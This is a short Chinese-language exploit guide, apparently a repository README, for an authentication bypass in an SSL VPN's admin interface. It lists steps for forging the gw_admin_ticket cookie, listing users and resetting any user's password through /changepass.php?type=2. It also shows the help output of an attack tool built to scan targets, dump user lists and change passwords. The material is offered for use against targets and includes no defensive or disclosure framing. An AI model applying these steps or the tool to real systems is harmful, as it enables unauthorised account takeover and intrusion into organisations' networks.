1.复现

1.使用cookie editor插件添加cookie值gw_admin_ticket为1.

2.使用charset插件修改网页编码为utf-8使页面正常显示

3.获取到用户名信息.

4.使用hackbar对地址/changepass.php?type=2发送修改密码数据,并将cookie值修改为如下，this_name为你需要修改密码的用户名称.

5.返回修改密码成功.可能会提示密码强度不够可以尝试随机生成字符串来生成。

2.工具使用

1.下载对应系统版本工具

./VPN_linux_amd64 -h                                 
Usage of VPN_linux_amd64:
  -c    check target vuln.(default) (default true)
  -e    change user's password.
  -p string
        manual set password you want change.(default is generate by random.) (default "BpLnfgDsc3WD")
  -t int
        request timeout default is 5 second. (default 5)
  -u string
        target you want fuck.(example:https://xxxxx:xxx)

2.参数介绍

参数	含义
c	检测模块，默认启用，存在漏洞的话会输出目标的用户列表.
e	修改密码模块，默认不启用.
p	更改后的密码，默认随机生成.
t	请求超时时间，默认为5s.
u	需要检测的目标url地址,.

Airboi/QAX_VPN_Crack

1.复现

2.工具使用